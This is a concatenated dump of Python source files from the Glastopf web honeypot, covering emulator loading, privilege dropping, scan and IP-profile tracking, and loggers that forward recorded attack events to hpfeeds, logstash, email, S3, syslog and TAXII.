| template, display_comments = self._get_template(attack_event) 53 | self.template = template.safe_substitute(login_msg="", 54 | comments=display_comments) 55 | attack_event.http_request.set_response(self.template) 56 | #attack_event.response += self.template 57 | return attack_event 58 | -------------------------------------------------------------------------------- /glastopf/modules/handlers/request_handler.py: -------------------------------------------------------------------------------- 1 | # Copyright (C) 2015 Lukas Rist 2 | # 3 | # This program is free software; you can redistribute it and/or 4 | # modify it under the terms of the GNU General Public License 5 | # as published by the Free Software Foundation; either version 2 6 | # of the License, or (at your option) any later version. 7 | # 8 | # This program is distributed in the hope that it will be useful, 9 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 11 | # GNU General Public License for more details. 12 | # 13 | # You should have received a copy of the GNU General Public License 14 | # along with this program; if not, write to the Free Software 15 | # Foundation, Inc., 16 | # 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. 17 | 18 | import logging 19 | 20 | from glastopf.modules.handlers.base_emulator import BaseEmulator 21 | 22 | logger = logging.getLogger(__name__) 23 | 24 | 25 | class RequestHandler: 26 | def __init__(self, data_dir): 27 | self.data_dir = data_dir 28 | 29 | def get_handler(self, name): 30 | try: 31 | BaseEmulator(self.data_dir) 32 | module_name = "glastopf.modules.handlers.emulators." + name 33 | __import__(module_name, globals(), locals(), [], -1) 34 | emulators = BaseEmulator.__subclasses__() 35 | except ImportError as e: 36 | logging.exception("Error while importing emulator: {0}: {1}".format(name, e)) 37 | return self.get_handler("unknown") 38 | else: 39 | for emulator in emulators: 40 | if emulator.__module__.rsplit(".", 1)[1].strip() == name: 41 | return emulator(data_dir=self.data_dir) 42 | return self.get_handler("unknown") 43 | -------------------------------------------------------------------------------- /glastopf/modules/logging_handler.py: -------------------------------------------------------------------------------- 1 | # Copyright (C) 2015 Lukas Rist 2 | # 3 | # This program is free software; you can redistribute it and/or 4 | # modify it under the terms of the GNU General Public License 5 | # as published by the Free Software Foundation; either version 2 6 | # of the License, or (at your option) any later version. 7 | # 8 | # This program is distributed in the hope that it will be useful, 9 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 11 | # GNU General Public License for more details. 12 | # 13 | # You should have received a copy of the GNU General Public License 14 | # along with this program; if not, write to the Free Software 15 | # Foundation, Inc., 16 | # 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. 17 | 18 | import os 19 | import logging 20 | 21 | from glastopf.modules.reporting.auxiliary.base_logger import BaseLogger 22 | 23 | logger = logging.getLogger(__name__) 24 | package_directory = os.path.dirname(os.path.abspath(__file__)) 25 | 26 | 27 | def _get_logger_names(path=os.path.join(package_directory, 'reporting/auxiliary')): 28 | names = os.listdir(path) 29 | for name in reversed(names): 30 | if (name == 'base_logger.py' or name == '.pyc' 31 | or name == '__init__.py'): 32 | names.remove(name) 33 | return names 34 | 35 | 36 | def get_aux_loggers(data_dir, work_dir, create_tables=True): 37 | loggers = [] 38 | try: 39 | BaseLogger() 40 | for name in _get_logger_names(): 41 | module_name = "glastopf.modules.reporting.auxiliary." + name.split('.', 1)[0] 42 | __import__(module_name, globals(), locals(), [], -1) 43 | logger_classes = BaseLogger.__subclasses__() 44 | except ImportError as e: 45 | logger.exception("Error while importing logger: {0}".format(e)) 46 | return None 47 | else: 48 | for logger_class in logger_classes: 49 | logger_instance = logger_class(data_dir, work_dir) 50 | if logger_instance.options['enabled']: 51 | loggers.append(logger_instance) 52 | return loggers 53 | -------------------------------------------------------------------------------- /glastopf/modules/privileges.py: -------------------------------------------------------------------------------- 1 | import os 2 | import pwd 3 | import grp 4 | import logging 5 | import platform 6 | 7 | logger = logging.getLogger(__name__) 8 | 9 | 10 | def recursive_chown(path, run_uid, run_gid): 11 | for root, dirs, files in os.walk(path): 12 | for single_dir in dirs: 13 | os.chown(os.path.join(root, single_dir), run_uid, run_gid) 14 | for single_file in files: 15 | os.chown(os.path.join(root, single_file), run_uid, run_gid) 16 | 17 | 18 | def drop(work_dir, new_uid='nobody', new_gid='nogroup'): 19 | starting_uid = os.getuid() 20 | starting_gid = os.getgid() 21 | 22 | if os.getuid() != 0: 23 | return 24 | if starting_uid == 0: 25 | 26 | #special handling for os x < 10.9. (getgrname has trouble with gid below 0) 27 | if platform.mac_ver()[0] and platform.mac_ver()[0] < float('10.9'): 28 | wanted_gid = -2 29 | else: 30 | wanted_gid = grp.getgrnam(new_gid)[2] 31 | 32 | run_uid = pwd.getpwnam(new_uid)[2] 33 | run_gid = wanted_gid 34 | try: 35 | recursive_chown(work_dir, run_uid, run_gid) 36 | except OSError as e: 37 | logger.exception("Could not change file owner: {0}".format(e)) 38 | try: 39 | os.setgid(run_gid) 40 | except OSError as e: 41 | logger.exception("Could not set new group: {0}".format(e)) 42 | 43 | try: 44 | os.setuid(run_uid) 45 | except OSError as e: 46 | logger.exception("Could not set net user: {0}".format(e)) 47 | 48 | new_umask = 066 49 | try: 50 | os.umask(new_umask) 51 | except Exception as e: 52 | logger.error("Failed to change umask: {0}".format(e)) 53 | -------------------------------------------------------------------------------- /glastopf/modules/processing/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mushorg/glastopf/80049d4bd74640a4095984b06bda503d6a4b5ee7/glastopf/modules/processing/__init__.py -------------------------------------------------------------------------------- /glastopf/modules/processing/ip_profile.py: -------------------------------------------------------------------------------- 1 | from sqlalchemy import Column, String, Integer, Float 2 | from sqlalchemy.ext.declarative import declarative_base 3 | 4 | Base = declarative_base() 5 | 6 | 7 | class IPProfile(Base): 8 | __tablename__ = 'ip_profiles' 9 | 10 | ip = Column(String(15), primary_key=True) 11 | as_number = Column(String(10)) 12 | as_name = Column(String(120)) 13 | country_code = Column(String(10)) 14 | total_requests = Column(Integer) 15 | total_scans = Column(Integer) 16 | bgp_prefix = Column(String(100)) 17 | requests_per_scan = Column(Float) 18 | avg_scan_duration = Column(Float) 19 | scan_time_period = Column(Float) 20 | last_event_time = Column(String(30)) 21 | comments = Column(String(65535)) 22 | 23 | def __init__( 24 | self, ip=None, as_number=None, as_name=None, 25 | country_code=None, total_requests=0, 26 | total_scans=0, bgp_prefix=None, 27 | requests_per_scan=None, avg_scan_duration=1, 28 | scan_time_period=1, last_event_time=None, comments=None): 29 | self.ip = ip 30 | self.as_number = as_number 31 | self.as_name = as_name 32 | self.country_code = country_code 33 | self.total_requests = total_requests 34 | self.total_scans = total_scans 35 | self.bgp_prefix = bgp_prefix 36 | self.requests_per_scan = requests_per_scan 37 | self.avg_scan_duration = avg_scan_duration 38 | self.scan_time_period = scan_time_period 39 | self.last_event_time = last_event_time 40 | self.comments = comments 41 | -------------------------------------------------------------------------------- /glastopf/modules/processing/scan.py: -------------------------------------------------------------------------------- 1 | class Scan(object): 2 | def __init__(self, source_ip, start_time): 3 | self.source_ip = source_ip 4 | self.start_time = start_time 5 | self.last_event_time = start_time 6 | self.requests = 1 7 | self.requests_posted = 0 8 | self.current = True 9 | -------------------------------------------------------------------------------- /glastopf/modules/processing/scans_table.py: -------------------------------------------------------------------------------- 1 | from datetime import datetime 2 | 3 | 4 | class ScansTable(): 5 | def __init__(self): 6 | self.scans = {} 7 | 8 | def insert_scan(self, scan): 9 | if scan.source_ip not in self.scans: 10 | self.scans[scan.source_ip] = {} 11 | self.scans[scan.source_ip]['closed'] = [] 12 | self.scans[scan.source_ip]['current'] = scan 13 | 14 | def get_current_scan(self, source_ip): 15 | if source_ip in self.scans: 16 | if 'current' in self.scans[source_ip]: 17 | return self.scans[source_ip]['current'] 18 | return None 19 | 20 | def close_scan(self, source_ip): 21 | if source_ip in self.scans: 22 | if 'current' in self.scans[source_ip]: 23 | current = self.scans[source_ip]['current'] 24 | self.scans[source_ip]['current'].current = False 25 | self.scans[source_ip]['closed'].append(current) 26 | del self.scans[source_ip]['current'] 27 | 28 | def close_old_scans(self, scan_threshold): 29 | time_now = datetime.now() 30 | for source_ip in self.scans: 31 | if 'current' in self.scans[source_ip]: 32 | scan = self.scans[source_ip]['current'] 33 | time_diff = (time_now - scan.last_event_time).total_seconds() 34 | if time_diff > scan_threshold: 35 | self.scans[source_ip]['current'].current = False 36 | self.scans[source_ip]['closed'].append(scan) 37 | del self.scans[source_ip]['current'] 38 | 39 | def delete_closed_scans(self): 40 | for source_ip in self.scans: 41 | del self.scans[source_ip]['closed'][:] 42 | -------------------------------------------------------------------------------- /glastopf/modules/reporting/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mushorg/glastopf/80049d4bd74640a4095984b06bda503d6a4b5ee7/glastopf/modules/reporting/__init__.py -------------------------------------------------------------------------------- /glastopf/modules/reporting/auxiliary/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mushorg/glastopf/80049d4bd74640a4095984b06bda503d6a4b5ee7/glastopf/modules/reporting/auxiliary/__init__.py -------------------------------------------------------------------------------- /glastopf/modules/reporting/auxiliary/base_logger.py: -------------------------------------------------------------------------------- 1 | # Copyright (C) 2015 Lukas Rist 2 | # 3 | # This program is free software; you can redistribute it and/or 4 | # modify it under the terms of the GNU General Public License 5 | # as published by the Free Software Foundation; either version 2 6 | # of the License, or (at your option) any later version. 7 | # 8 | # This program is distributed in the hope that it will be useful, 9 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 11 | # GNU General Public License for more details. 12 | # 13 | # You should have received a copy of the GNU General Public License 14 | # along with this program; if not, write to the Free Software 15 | # Foundation, Inc., 16 | # 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. 17 | 18 | from ConfigParser import SafeConfigParser 19 | import os 20 | 21 | 22 | class BaseLogger(object): 23 | def __init__(self, config='glastopf.cfg'): 24 | if not isinstance(config, SafeConfigParser): 25 | self.config = SafeConfigParser(os.environ) 26 | self.config.read(config) 27 | else: 28 | self.config = config 29 | 30 | def insert(self, event): 31 | pass 32 | -------------------------------------------------------------------------------- /glastopf/modules/reporting/auxiliary/log_hpfeeds.py: -------------------------------------------------------------------------------- 1 | # Copyright (C) 2015 Johnny Vestergaard 2 | # 3 | # This program is free software: you can redistribute it and/or modify 4 | # it under the terms of the GNU General Public License as published by 5 | # the Free Software Foundation, either version 3 of the License, or 6 | # (at your option) any later version. 7 | 8 | # This program is distributed in the hope that it will be useful, 9 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 11 | # GNU General Public License for more details. 12 | # 13 | # You should have received a copy of the GNU General Public License 14 | # along with this program. If not, see . 15 | 16 | import json 17 | import logging 18 | import os 19 | import base64 20 | import gevent 21 | import hpfeeds 22 | from glastopf.modules.reporting.auxiliary.base_logger import BaseLogger 23 | 24 | 25 | logger = logging.getLogger(__name__) 26 | 27 | 28 | class HPFeedsLogger(BaseLogger): 29 | 30 | def __init__(self, data_dir, work_dir, config="glastopf.cfg", reconnect=True): 31 | config = os.path.join(work_dir, config) 32 | BaseLogger.__init__(self, config) 33 | self.files_dir = os.path.join(data_dir, 'files/') 34 | self.enabled = False 35 | self._initial_connection_happend = False 36 | #legacy 37 | self.options = {'enabled': self.enabled} 38 | if self.config.getboolean("hpfeed", "enabled"): 39 | host = self.config.get("hpfeed", "host") 40 | port = int(self.config.getint("hpfeed", "port")) 41 | ident = self.config.get("hpfeed", "ident") 42 | secret = self.config.get("hpfeed", "secret") 43 | self.enabled = True 44 | #legacy 45 | self.options = {'enabled': self.enabled} 46 | self.chan_files = self.config.get("hpfeed", "chan_files") 47 | self.chan_events = self.config.get("hpfeed", "chan_events") 48 | self.hpc = None 49 | gevent.spawn(self._start_connection, host, port, ident, secret, reconnect) 50 | 51 | def _start_connection(self, host, port, ident, secret, reconnect): 52 | # if no initial connection to hpfeeds this will hang forever, reconnect=True only comes into play 53 | # when lost connection after the initial connect happend. 54 | self.hpc = hpfeeds.new(host, port, ident, secret, reconnect) 55 | self._initial_connection_happend = True 56 | 57 | def insert(self, attack_event): 58 | if self._initial_connection_happend: 59 | if attack_event.file_name is not None: 60 | with file(os.path.join(self.files_dir, attack_event.file_name), 'r') as file_handler: 61 | logger.debug('Sending file ({0}) using hpfriends on {0}'.format(attack_event.file_name, self.chan_files)) 62 | file_content = file_handler.read() 63 | file_data = attack_event.file_name + " " + base64.b64encode(file_content) 64 | self.hpc.publish(self.chan_files, file_data) 65 | 66 | event_data_dict=attack_event.event_dict() 67 | event_data_dict['http_host'] = attack_event.http_request.http_host 68 | event_data_dict['sensor_ip'] = attack_event.sensor_addr[0] 69 | event_data_dict['sensor_port'] = attack_event.sensor_addr[1] 70 | event_data_dict['source_ip'] = attack_event.source_addr[0] 71 | event_data_dict['source_port'] = attack_event.source_addr[1] 72 | event_data = json.dumps(event_data_dict) 73 | self.hpc.publish(self.chan_events, event_data) 74 | else: 75 | logger.warning('Not logging event because initial hpfeeds connect has not happend yet') 76 | -------------------------------------------------------------------------------- /glastopf/modules/reporting/auxiliary/log_logstash.py: -------------------------------------------------------------------------------- 1 | import logging 2 | import os 3 | import logstash 4 | 5 | logger = logging.getLogger(__name__) 6 | 7 | 8 | # Global logger for logstash provides an interface for different brokers 9 | 10 | from glastopf.modules.reporting.auxiliary.base_logger import BaseLogger 11 | 12 | 13 | class LogLogStash(BaseLogger): 14 | def __init__(self, data_dir, work_dir, config="glastopf.cfg"): 15 | config = os.path.join(work_dir, config) 16 | BaseLogger.__init__(self, config) 17 | 18 | if self.config.getboolean("logstash", "enabled"): 19 | self.host = self.config.get("logstash", "host") 20 | self.port = int(self.config.getint("logstash", "port")) 21 | self.options = { 22 | "enabled": self.config.getboolean("logstash", "enabled"), 23 | } 24 | 25 | self.handler = self.config.get("logstash", "handler") 26 | 27 | if self.handler == "AMQP": 28 | self.username = self.config.get("logstash", "username") 29 | self.password = self.config.get("logstash", "password") 30 | self.exchange = self.config.get("logstash", "exchange") 31 | self.durable = self.config.getboolean("logstash", "durable") 32 | elif self.handler != "TCP" and self.handler != "UDP": 33 | raise Exception("Incorrect logstash handler defined, please use AMQP, UDP or TCP") 34 | self._setup_handler() 35 | else: 36 | self.options = {"enabled": False} 37 | 38 | def _setup_handler(self): 39 | logstash_handler = None 40 | 41 | if self.handler == 'AMQP': 42 | logstash_handler = logstash.AMQPLogstashHandler(version=1, 43 | host=self.host, 44 | durable=self.durable, 45 | username=self.username, 46 | password=self.password, 47 | exchange=self.exchange) 48 | elif self.handler == 'TCP': 49 | logstash_handler = logstash.TCPLogstashHandler(self.host, self.port, version=1) 50 | elif self.handler == "UDP": 51 | logstash_handler = logstash.UDPLogstashHandler(self.host, self.port, version=1) 52 | 53 | self.attack_logger = logging.getLogger('python-logstash-handler') 54 | self.attack_logger.setLevel(logging.INFO) 55 | self.attack_logger.addHandler(logstash_handler) 56 | 57 | def insert(self, attack_event): 58 | message = "Glaspot: %(pattern)s attack method from %(source)s against %(host)s:%(port)s." \ 59 | "[%(method)s %(url)s]" % { 60 | 'pattern': attack_event.matched_pattern, 61 | 'source': ':'.join((attack_event.source_addr[0], str(attack_event.source_addr[1]))), 62 | 'host': attack_event.sensor_addr[0], 63 | 'port': attack_event.sensor_addr[1], 64 | 'method': attack_event.http_request.request_verb, 65 | 'url': attack_event.http_request.request_url, 66 | } 67 | 68 | extra = { 69 | "pattern": attack_event.matched_pattern, 70 | "source_addr": attack_event.source_addr[0], 71 | "source_port": attack_event.source_addr[1], 72 | "sensor_addr": attack_event.sensor_addr[0], 73 | "sensor_port": attack_event.sensor_addr[1], 74 | "method": attack_event.http_request.request_verb, 75 | "url": attack_event.http_request.request_url, 76 | } 77 | 78 | self.attack_logger.info(message, extra = extra) 79 | 80 | 81 | -------------------------------------------------------------------------------- /glastopf/modules/reporting/auxiliary/log_mail.py: -------------------------------------------------------------------------------- 1 | # 2 | # This program is free software; you can redistribute it and/or 3 | # modify it under the terms of the GNU General Public License 4 | # as published by the Free Software Foundation; either version 2 5 | # of the License, or (at your option) any later version. 6 | # 7 | # This program is distributed in the hope that it will be useful, 8 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 9 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 10 | # GNU General Public License for more details. 11 | # 12 | # You should have received a copy of the GNU General Public License 13 | # along with this program; if not, write to the Free Software 14 | # Foundation, Inc., 15 | # 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. 16 | 17 | import smtplib 18 | import os 19 | 20 | from email.mime.text import MIMEText 21 | 22 | from glastopf.modules.reporting.auxiliary.base_logger import BaseLogger 23 | 24 | 25 | class LogMail(BaseLogger): 26 | def __init__(self, data_dir, work_dir, config="glastopf.cfg"): 27 | config = os.path.join(work_dir, config) 28 | BaseLogger.__init__(self, config) 29 | self.options = { 30 | "enabled": self.config.getboolean("mail", "enabled"), 31 | "user": self.config.get("mail", "user"), 32 | "pwd": self.config.get("mail", "pwd"), 33 | "mail_from": self.config.get("mail", "mail_from"), 34 | "mail_to": self.config.get("mail", "mail_to"), 35 | "smtp_host": self.config.get("mail", "smtp_host"), 36 | "smtp_port": self.config.get("mail", "smtp_port"), 37 | "patterns": self.config.get("mail", "patterns"), 38 | } 39 | 40 | def _build_mail_body_event(self, attack_event): 41 | mail_msg = 'New attack from %s with request %s' % (attack_event.source_addr[0], attack_event.http_request.request_url) 42 | mail_msg += '\nComplete Request:\n\n' 43 | mail_msg += attack_event.http_request.request_raw 44 | 45 | msg = MIMEText(mail_msg) 46 | return msg 47 | 48 | def send_mail(self, attack_event): 49 | msg = self._build_mail_body_event(attack_event) 50 | msg['Subject'] = 'Honeypot Update' 51 | msg['From'] = self.options["mail_from"] 52 | msg['To'] = self.options["mail_to"] 53 | 54 | server = smtplib.SMTP('%s:%s' % (self.options["smtp_host"], self.options["smtp_port"])) 55 | server.ehlo_or_helo_if_needed() 56 | server.starttls() 57 | server.ehlo_or_helo_if_needed() 58 | server.login(self.options["user"], self.options["pwd"]) 59 | server.sendmail(self.options["user"], self.options["mail_to"], msg.as_string()) 60 | server.quit() 61 | 62 | def insert(self, attack_event): 63 | patterns = self.options["patterns"] 64 | 65 | # if the wildcard '*' is used, every new event will be notified by email 66 | if patterns == '*': 67 | self.send_mail(attack_event) 68 | return 69 | 70 | # otherwise an email notification will be sent 71 | # only if a specified matched pattern is identified 72 | if attack_event.matched_pattern in patterns.split(","): 73 | self.send_mail(attack_event) 74 | -------------------------------------------------------------------------------- /glastopf/modules/reporting/auxiliary/log_profiler.py: -------------------------------------------------------------------------------- 1 | # Author: Sooky Peter 2 | # Brno University of Technology, Faculty of Information Technology 3 | 4 | import logging 5 | import os 6 | 7 | # import pyodbc 8 | import sqlite3 9 | 10 | from ConfigParser import NoSectionError, NoOptionError 11 | from glastopf.modules.reporting.auxiliary.base_logger import BaseLogger 12 | 13 | 14 | class LogProfiler(BaseLogger): 15 | def __init__(self, data_dir, work_dir, config="glastopf.cfg"): 16 | config = os.path.join(work_dir, config) 17 | BaseLogger.__init__(self, config) 18 | self.options = {'enabled': False} 19 | try: 20 | self.options = { 21 | "enabled": self.config.getboolean("profiler", "enabled"), 22 | "database": self.config.get("main-database", "connection_string") 23 | } 24 | except (NoSectionError, NoOptionError): 25 | return 26 | self.logger = logging.getLogger(__name__) 27 | 28 | def insert(self, ip_profile): 29 | # insertion into the database is handled by the regular updates; logging the changes seems irrelevant 30 | pass 31 | 32 | # retrieve all comments for a specific IP address stored in the database 33 | def get_comments(self, ip_address): 34 | if not self.options['enabled']: 35 | self.logger.error('Glastopf LogProfiler is inactive.') 36 | return 37 | 38 | driver, data_source_name = self.options['database'].split(':///') 39 | # for now use conditional statements; a more transparent implementation 40 | # might be using pyodbc in the future 41 | if driver == 'sqlite': 42 | # sqlite 43 | try: 44 | connection = sqlite3.connect(data_source_name) 45 | c = connection.cursor() 46 | c.execute("""SELECT comments FROM ip_profiles WHERE ip==?""", (ip_address,)) 47 | comments_list = c.fetchall() 48 | c.close() 49 | except sqlite3.DatabaseError as e: 50 | self.logger.error('Comment retrieval failed due to ({0})'.format(e)) 51 | else: 52 | # not supported databse type 53 | return '' 54 | return comments_list 55 | 56 | # add a comment for a specific IP address stored in the database 57 | def add_comment(self, ip_address, comment): 58 | if not self.options['enabled']: 59 | self.logger.error('Glastopf LogProfiler is inactive.') 60 | return 61 | 62 | driver, data_source_name = self.options['database'].split(':///') 63 | # for now use conditional statements; a more transparent implementation 64 | # might be using pyodbc in the future 65 | if driver == 'sqlite': 66 | # sqlite 67 | try: 68 | connection = sqlite3.connect(data_source_name) 69 | c = connection.cursor() 70 | c.execute("""SELECT comments FROM ip_profiles WHERE ip==?""", (ip_address,)) 71 | comments_list = c.fetchall() 72 | if len(comments_list) == 0: 73 | c.execute("""INSERT INTO ip_profiles(ip, total_requests, total_scans, avg_scan_duration, scan_time_period, comments) VALUES (?, ?, ?, ?, ?, ?)""", (ip_address, 0, 0, 1, 1, comment)) 74 | else: 75 | comments_list.append((comment, )) 76 | comments = "" 77 | for i in range(len(comments_list)): 78 | comments += str(comments_list[i][0]) 79 | c.execute("""UPDATE ip_profiles SET comments=(?) WHERE ip==?""", (comments, ip_address)) 80 | connection.commit() 81 | c.close() 82 | self.logger.info('Comment added to database for ip address {0}'.format(ip_address)) 83 | except sqlite3.DatabaseError as e: 84 | self.logger.error('Comment insertion failed due to ({0})'.format(e)) 85 | else: 86 | # not supported database type 87 | return '' 88 | 89 | -------------------------------------------------------------------------------- /glastopf/modules/reporting/auxiliary/log_s3.py: -------------------------------------------------------------------------------- 1 | # Copyright (C) 2018 Andre Vorbach @vorband 2 | # 3 | # This program is free software: you can redistribute it and/or modify 4 | # it under the terms of the GNU General Public License as published by 5 | # the Free Software Foundation, either version 3 of the License, or 6 | # (at your option) any later version. 7 | 8 | # This program is distributed in the hope that it will be useful, 9 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 11 | # GNU General Public License for more details. 12 | # 13 | # You should have received a copy of the GNU General Public License 14 | # along with this program. If not, see . 15 | 16 | import logging 17 | import os 18 | import gevent 19 | 20 | import botocore.session, botocore.client 21 | from botocore.exceptions import ClientError 22 | 23 | from glastopf.modules.reporting.auxiliary.base_logger import BaseLogger 24 | 25 | 26 | logger = logging.getLogger(__name__) 27 | 28 | 29 | class S3Logger(BaseLogger): 30 | 31 | def __init__(self, data_dir, work_dir, config="glastopf.cfg", reconnect=True): 32 | config = os.path.join(work_dir, config) 33 | BaseLogger.__init__(self, config) 34 | self.files_dir = os.path.join(data_dir, 'files/') 35 | self.enabled = self.config.getboolean("s3storage", "enabled") 36 | self._initial_connection_happend = False 37 | self.options = {'enabled': self.enabled} 38 | if self.enabled: 39 | self.endpoint = self.config.get("s3storage", "endpoint") 40 | self.accesskey = self.config.get("s3storage", "aws_access_key_id") 41 | self.secretkey = self.config.get("s3storage", "aws_secret_access_key") 42 | self.version = self.config.get("s3storage", "signature_version") 43 | self.region = self.config.get("s3storage", "region") 44 | self.bucket = self.config.get("s3storage", "bucket") 45 | self.enabled = True 46 | self.s3client = None 47 | self.s3session = None 48 | gevent.spawn(self._start_connection) 49 | 50 | def _start_connection(self): 51 | self.s3session = botocore.session.get_session() 52 | self.s3session.set_credentials(self.accesskey, self.secretkey) 53 | self.s3client = self.s3session.create_client( 54 | 's3', 55 | endpoint_url=self.endpoint, 56 | region_name=self.region, 57 | config=botocore.config.Config(signature_version=self.version) 58 | ) 59 | try: 60 | self.s3client.head_bucket(Bucket=self.bucket) 61 | self._initial_connection_happend = True 62 | except ClientError as e: 63 | logger.error("Could not establish s3 connection to bucket '%s' on %s. Received error: %s" % (self.bucket, self.endpoint, e.response['Error']['Message'])) 64 | 65 | def insert(self, attack_event): 66 | if self._initial_connection_happend: 67 | if attack_event.file_sha256 is not None: 68 | if attack_event.known_file: 69 | logger.debug('sha256:{0} / md5:{1} is a known file, it will not be uploaded.'.format(attack_event.file_sha256, attack_event.file_name)) 70 | return 71 | with file(os.path.join(self.files_dir, attack_event.file_name), 'r') as file_handler: 72 | try: 73 | # check if file exists in bucket 74 | searchFile = self.s3client.list_objects_v2(Bucket=self.bucket, Prefix=attack_event.file_sha256) 75 | if (len(searchFile.get('Contents', []))) == 1 and str(searchFile.get('Contents', [])[0]['Key']) == attack_event.file_sha256: 76 | logger.debug('Not storing file (sha256:{0}) to s3 bucket "{1}" on {2} as it already exists in the bucket.'.format(attack_event.file_sha256, self.bucket, self.endpoint)) 77 | return 78 | # upload file to s3 79 | self.s3client.put_object(Bucket=self.bucket, Body=file_handler, Key=attack_event.file_sha256) 80 | logger.debug('Storing file (sha256:{0}) using s3 bucket "{1}" on {2}'.format(attack_event.file_sha256, self.bucket, self.endpoint)) 81 | except ClientError as e: 82 | logger.warning("Received error: %s", e.response['Error']['Message']) 83 | else: 84 | logger.warning('Not storing attack file because initial s3 connection test did not succeeded') 85 | 86 | -------------------------------------------------------------------------------- /glastopf/modules/reporting/auxiliary/log_syslog.py: -------------------------------------------------------------------------------- 1 | # Copyright (C) 2015 Johnny Vestergaard 2 | # 3 | # This program is free software; you can redistribute it and/or 4 | # modify it under the terms of the GNU General Public License 5 | # as published by the Free Software Foundation; either version 2 6 | # of the License, or (at your option) any later version. 7 | # 8 | # This program is distributed in the hope that it will be useful, 9 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 11 | # GNU General Public License for more details. 12 | # 13 | # You should have received a copy of the GNU General Public License 14 | # along with this program; if not, write to the Free Software 15 | # Foundation, Inc., 16 | # 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. 17 | 18 | import logging 19 | import os 20 | 21 | from glastopf.modules.reporting.auxiliary.base_logger import BaseLogger 22 | 23 | 24 | class LogSyslog(BaseLogger): 25 | def __init__(self, data_dir, work_dir, config="glastopf.cfg"): 26 | config = os.path.join(work_dir, config) 27 | BaseLogger.__init__(self, config) 28 | self.options = { 29 | "enabled": self.config.getboolean("syslog", "enabled"), 30 | "socket": self.config.get("syslog", "socket"), 31 | } 32 | 33 | if self.options['enabled']: 34 | #Make sure we only have one logger 35 | try: 36 | LogSyslog.logger 37 | except AttributeError: 38 | LogSyslog.logger = logging.getLogger('glastopf_attack') 39 | LogSyslog.logger.propagate = False 40 | if ":" in self.options['socket']: 41 | host, port = self.options['socket'].split(":") 42 | address = (host, int(port)) 43 | else: 44 | address = (self.options['socket'], 514) 45 | logging.info('Using syslog logger on remote {0}.'.format(address)) 46 | LogSyslog.log_handler = logging.handlers.SysLogHandler(address=address) 47 | LogSyslog.logger.addHandler(self.log_handler) 48 | LogSyslog.logger.setLevel(logging.INFO) 49 | 50 | def insert(self, attack_event): 51 | message = "Glastopf: %(pattern)s attack method from %(source)s against %(host)s:%(port)s. [%(method)s %(url)s] v:%(version)s id:%(sensorid)s" % { 52 | 'pattern': attack_event.matched_pattern, 53 | 'source': ':'.join((attack_event.source_addr[0], str(attack_event.source_addr[1]))), 54 | 'host': attack_event.sensor_addr[0], 55 | 'port': attack_event.sensor_addr[1], 56 | 'method': attack_event.http_request.request_verb, 57 | 'url': attack_event.http_request.request_url, 58 | 'version': attack_event.version, 59 | 'sensorid': attack_event.sensorid, 60 | } 61 | LogSyslog.logger.info(message) 62 | -------------------------------------------------------------------------------- /glastopf/modules/reporting/auxiliary/log_taxii.py: -------------------------------------------------------------------------------- 1 | # Copyright (C) 2015 Johnny Vestergaard 2 | # 3 | # This program is free software; you can redistribute it and/or 4 | # modify it under the terms of the GNU General Public License 5 | # as published by the Free Software Foundation; either version 2 6 | # of the License, or (at your option) any later version. 7 | # 8 | # This program is distributed in the hope that it will be useful, 9 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 11 | # GNU General Public License for more details. 12 | # 13 | # You should have received a copy of the GNU General Public License 14 | # along with this program; if not, write to the Free Software 15 | # Foundation, Inc., 16 | # 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. 17 | 18 | import logging 19 | import os 20 | 21 | import libtaxii 22 | import libtaxii.messages 23 | import libtaxii.clients as tc 24 | from libtaxii.messages_11 import ContentBlock, InboxMessage, generate_message_id 25 | from libtaxii.clients import HttpClient 26 | 27 | from glastopf.modules.reporting.auxiliary.stix.stix_transform import StixTransformer 28 | from glastopf.modules.reporting.auxiliary.base_logger import BaseLogger 29 | 30 | 31 | logger = logging.getLogger(__name__) 32 | 33 | 34 | class TaxiiLogger(BaseLogger): 35 | def __init__(self, data_dir, work_dir, config='glastopf.cfg'): 36 | config = os.path.join(work_dir, config) 37 | BaseLogger.__init__(self, config) 38 | self.options = {'enabled': self.config.getboolean('taxii', 'enabled')} 39 | self.host = self.config.get('taxii', 'host') 40 | self.port = self.config.getint('taxii', 'port') 41 | self.inbox_path = self.config.get('taxii', 'inbox_path') 42 | self.use_https = self.config.getboolean('taxii', 'use_https') 43 | self.client = HttpClient() 44 | self.client.setProxy('noproxy') 45 | 46 | auth_credentials = {'username': self.config.get('taxii', 'auth_basic_username'), 47 | 'password': self.config.get('taxii', 'auth_basic_password'), 48 | 'key_file': self.config.get('taxii', 'auth_certificate_keyfile'), 49 | 'cert_file': self.config.get('taxii', 'auth_certificate_certfile')} 50 | self.client.setAuthCredentials(auth_credentials) 51 | 52 | if self.config.getboolean('taxii', 'use_auth_basic'): 53 | self.client.setAuthType(tc.HttpClient.AUTH_BASIC) 54 | elif self.config.getboolean('taxii', 'use_auth_certificate'): 55 | self.client.setAuthType(tc.HttpClient.AUTH_CERT) 